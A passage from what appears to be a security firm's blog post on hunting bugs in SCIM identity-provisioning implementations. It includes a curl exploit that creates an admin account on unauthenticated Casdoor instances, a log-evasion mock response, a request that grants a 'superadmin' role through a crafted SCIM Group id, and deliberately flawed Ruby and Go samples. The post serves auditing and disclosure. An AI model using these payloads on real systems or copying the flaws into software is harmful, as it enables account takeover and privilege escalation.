  &lt;li&gt;&lt;strong&gt;Replace&lt;/strong&gt;: PUT &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example-SP.com/{v}/{resource}/{id}&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Delete&lt;/strong&gt;: DELETE &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example-SP.com/{v}/{resource}/{id}&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Update&lt;/strong&gt;: PATCH &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example-SP.com/{v}/{resource}/{id}&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Search&lt;/strong&gt;: GET &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example-SP.com/{v}/{resource}?&amp;lt;SEARCH_PARAMS&amp;gt;&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Bulk&lt;/strong&gt;: POST &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example-SP.com/{v}/Bulk&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, we can summarize SCIM as a set APIs usable to perform CRUD operations on a set of JSON encoded objects representing user identities.&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Core Functionalities&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you want to look into a SCIM implementation for bugs, here is a list of core functionalities that would need to be reviewed during an audit:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Server Config &amp;amp; Authn/z Middlewares&lt;/strong&gt; - SCIM does not define its authn/authz method, hence it will always be custom&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;SCIM Object to Internal Objects Mapping Function&lt;/strong&gt; - How the backend is converting / linking the SCIM objects to the internal &lt;em&gt;Users&lt;/em&gt; and &lt;em&gt;Groups&lt;/em&gt; objects. Most of the times they are more complex and have tons of constraints &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp; ||&lt;/code&gt;  safety checks.&lt;br /&gt;A few examples: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;internal&lt;/code&gt; attributes that should not be user-controlled, platform-specific attributes not allowed in SCIM, etc.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Operations Exec Logic&lt;/strong&gt; - Changes within identity-related objects typically trigger application flows. A few examples include: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt; &lt;em&gt;update&lt;/em&gt; should trigger a confirmation flow / flag the user as unconfirmed, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;username&lt;/code&gt; &lt;em&gt;update&lt;/em&gt; should trigger ownership / pending invitations / re-auth checks and so on.&lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&quot;mind-the-impact&quot;&gt;Mind The Impact&lt;/h4&gt;

&lt;p&gt;As direct IdP-to-SP communication, most of the resulting issues will require a certain level of access either in the IdP or SP. Hence, the complexity of an attack may lower most of your findings.
Instead, the impact might be skyrocketing in &lt;em&gt;Multi-tenant Platforms&lt;/em&gt; where SCIM Users may lack tenant-isolation logic common.&lt;/p&gt;

&lt;h2 id=&quot;hunting-for-bugs&quot;&gt;Hunting for Bugs&lt;/h2&gt;

&lt;p&gt;The following are some juicy examples of bugs you should look for while auditing SCIM implementations.&lt;/p&gt;

&lt;h3 id=&quot;auth-bypasses&quot;&gt;Auth Bypasses&lt;/h3&gt;

&lt;p&gt;A few months ago we published our advisory for an &lt;a href=&quot;https://doyensec.com/resources/Doyensec_Advisory_UnauthenticatedSCIM-CasdoorIdP.pdf&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;Unauthenticated SCIM Operations In Casdoor IdP Instances&lt;/em&gt;&lt;/a&gt;. It is an open-source identity solution supporting various auth standards such as OAuth, SAML, OIDC, etc. Of course SCIM was included, but as a service, meaning the Casdoor (IdP) would also allow external actors to manipulate its users pool.&lt;/p&gt;

&lt;p&gt;Casdoor utilized the &lt;a href=&quot;https://github.com/elimity-com/scim/&quot;&gt;elimity-com/scim&lt;/a&gt; library, which, by default, does not include authentication in its configuration as per the standard. Consequently, a SCIM server defined and exposed using this library remains unauthenticated.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Go&quot;&gt;server := scim.Server{
 Config: config,
 ResourceTypes: resourceTypes,
 } 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Exploiting an instance required emails matching the configured domains. A SCIM POST operation was usable to create a new user matching the internal email domain and data.
&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;➜ curl &lt;span class=&quot;nt&quot;&gt;--path-as-is&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-k&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;$'POST'&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;$'Content-Type: application/scim+json'&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;$'Content-Length: 377'&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;--data-binary&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$’&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;active&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;:true,&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;displayName&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;:&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;Admin&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;,&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;emails&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;:[&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;value&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;:
&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;admin2@victim.com&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}]&lt;/span&gt;,&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;password&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;:&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;12345678&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;,&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;nickName&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;:&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;Attacker&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;,
&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;schemas&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;:[&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;urn:ietf:params:scim:schemas:core:2.0:User&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;,
&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;urn:ietf:params:scim:schemas:extension:enterprise:2.0:User&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;,
&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;urn:ietf:params:scim:schemas:extension:enterprise:2.0:User&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;:&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;organization&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;:
&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;built-in&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;userName&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;:&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;admin2&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;,&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;userType&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;:&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;normal-user&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;' \
 $'&lt;/span&gt;https://&amp;lt;CASDOOR_INSTANCE&amp;gt;/scim/Users&lt;span class=&quot;s1&quot;&gt;' 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Then, authenticate to the IdP dashboard with the new admin user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin2:12345678&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The maintainers released a new version (v1.812.0), which includes a fix.&lt;/p&gt;

&lt;p&gt;While that was a very simple yet critical issue, bypasses could be found in authenticated implementations. In other cases the service could be available only internally and unprotected.&lt;/p&gt;

&lt;h3 id=&quot;scim-token-management&quot;&gt;SCIM Token Management&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;[*] IdP-Side Issues&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Since SCIM secrets allow dangerous actions on the &lt;em&gt;Service Providers&lt;/em&gt;, they should be protected from extractions happening after the setup. Testing or editing an IdP SCIM integration on a configured application should require a new SCIM token in input, if the connector URL differs from the one previously set.&lt;/p&gt;

&lt;p&gt;A famous IdP was found to be issuing the SCIM integration test requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/v1/api/scim/Users?startIndex=1&amp;amp;count=1&lt;/code&gt; with the old secret while accepting a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;baseURL&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;+1 Extra - Covering traces&lt;/em&gt;: Avoid logging errors by mocking a response JSON with the expected data for a successful SCIM integration test. 
An example mock response’s JSON for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Users&lt;/code&gt; query:&lt;/p&gt;
&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Resources&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;externalId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;EXTID&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;francesco+scim@doyensec.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;meta&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;created&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2024-05-29T22:15:41.649622965Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;location&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/Users/francesco+scim@doyensec.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;VERSION&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;schemas&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;urn:ietf:params:scim:schemas:core:2.0:User&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;userName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;francesco+scim@doyensec.com&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;itemsPerPage&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;schemas&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;urn:ietf:params:scim:api:messages:2.0:ListResponse&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;startIndex&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;totalResults&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;[*] SP-Side Issues&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The SCIM token creation &amp;amp; read should be allowed only to highly privileged users. Target the SP endpoints used to manage it and look for authorization issues or target it with a nice XSS or other vulnerabilities to escalate the access level in the platform.&lt;/p&gt;

&lt;h3 id=&quot;unwanted-user-re-provisioning-fallbacks&quot;&gt;Unwanted User Re-provisioning Fallbacks&lt;/h3&gt;

&lt;p&gt;Since ~real-time user access management is the core of SCIM, it is also worth looking for fallbacks causing a deprovisioned user to be back with access to the SP.&lt;/p&gt;

&lt;p&gt;As an example, let’s look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update_scimUser&lt;/code&gt; function below.&lt;/p&gt;
&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;can_be_reprovisioned?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;usrObj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;usrObj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;respond_to?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:active&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;usrObj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;active?&lt;/span&gt;
		&lt;span class=&quot;kp&quot;&gt;false&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;update_scimUser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;usrObj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# [...]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;deprovision_user?&lt;/span&gt;
          &lt;span class=&quot;c1&quot;&gt;# [...]&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;#  (o)__(o)'&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;elsif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;can_be_reprovisioned?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;usrObj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
          &lt;span class=&quot;n&quot;&gt;reprovision&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;usrObj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
          &lt;span class=&quot;kp&quot;&gt;true&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;respond_to?(:active)&lt;/code&gt; is always &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; for SCIM identities. If the user is not active, the condition &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!identity.active?&lt;/code&gt; will always be true and cause the re-provisioning.&lt;/p&gt;

&lt;p&gt;Consequently, any SCIM update request (e.g., change lastname) will fallback to re-provisioning if the user was not active for any reason (e.g., logical ban, forced removal).&lt;/p&gt;

&lt;h3 id=&quot;internal-attributes-manipulation&quot;&gt;Internal Attributes Manipulation&lt;/h3&gt;

&lt;p&gt;While outsourcing identity syncing to SCIM, it becomes critical to choose what will be copied from the SCIM objects into the new internal ones, since bugs may arise from an “excessive” attribute allowance.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[*] Example 1 - Privesc To Internal Roles&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A client supported Okta &lt;em&gt;Groups&lt;/em&gt; and &lt;em&gt;Users&lt;/em&gt; to be provisioned and updated via SCIM endpoints.&lt;/p&gt;

&lt;p&gt;It converted Okta Groups into internal roles with custom labeling to refer to “Okta resources”. In particular, the function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;resource_to_access_map&lt;/code&gt; constructed an unvalidated access mapping from the supplied SCIM group resource.&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;group_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decode_error&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decode_group_resource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resource&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Attributes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AsMap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;role_list&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;//  (o)__(o)'&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;resource&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;role_list&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resource&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;//...&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;access_map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The implementation issue resided in the fact that the role names in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;role_list&lt;/code&gt; were constructed on an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Id&lt;/code&gt; attribute (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;urn:ietf:params:scim:schemas:core:2.0:Group&lt;/code&gt;) passed from a third-party source.&lt;/p&gt;

&lt;p&gt;Later, another function upserted the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Role&lt;/code&gt; objects, constructed from the SCIM event, without further checks. Hence, it was possible to overwrite any existing resource in the platform by matching its name in a SCIM Group ID.&lt;/p&gt;

&lt;p&gt;As an example, if the SCIM Group resource ID was set to an internal role name, funny things happened.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /api/scim/Groups HTTP/1.1
Host: &amp;lt;PLATFORM&amp;gt;
Content-Type: application/json; charset=utf-8
Authorization: Bearer 650…[REDACTED]…
…[REDACTED]…
Content-Length: 283
{
    &quot;schemas&quot;: [“urn:ietf:params:scim:schemas:core:2.0:Group&quot;],
    &quot;id&quot;:&quot;superadmin&quot;,
    &quot;displayName&quot;: &quot;TEST_NAME&quot;,
    &quot;members&quot;: [{
        &quot;value&quot;: &quot;francesco@doyensec.com&quot;,
        &quot;display&quot;: &quot;francesco@doyensec.com&quot;
    }]
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The platform created an access map named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TEST_NAME&lt;/code&gt;, granting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;superadmin&lt;/code&gt; role to members.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[*] Example 2 - Mass Assignment In SCIM-To-User Mapping&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Other internal attributes manipulation may be possible depending on the object mapping strategy.
A juicy example could look like the one below.&lt;/p&gt;
&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;no&quot;&gt;SSO_user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;update!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;ss&quot;&gt;external_id: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scim_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;externalId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;#         (o)__(o)' &lt;/span&gt;
        &lt;span class=&quot;ss&quot;&gt;userData: &lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Oj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scim_req_body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
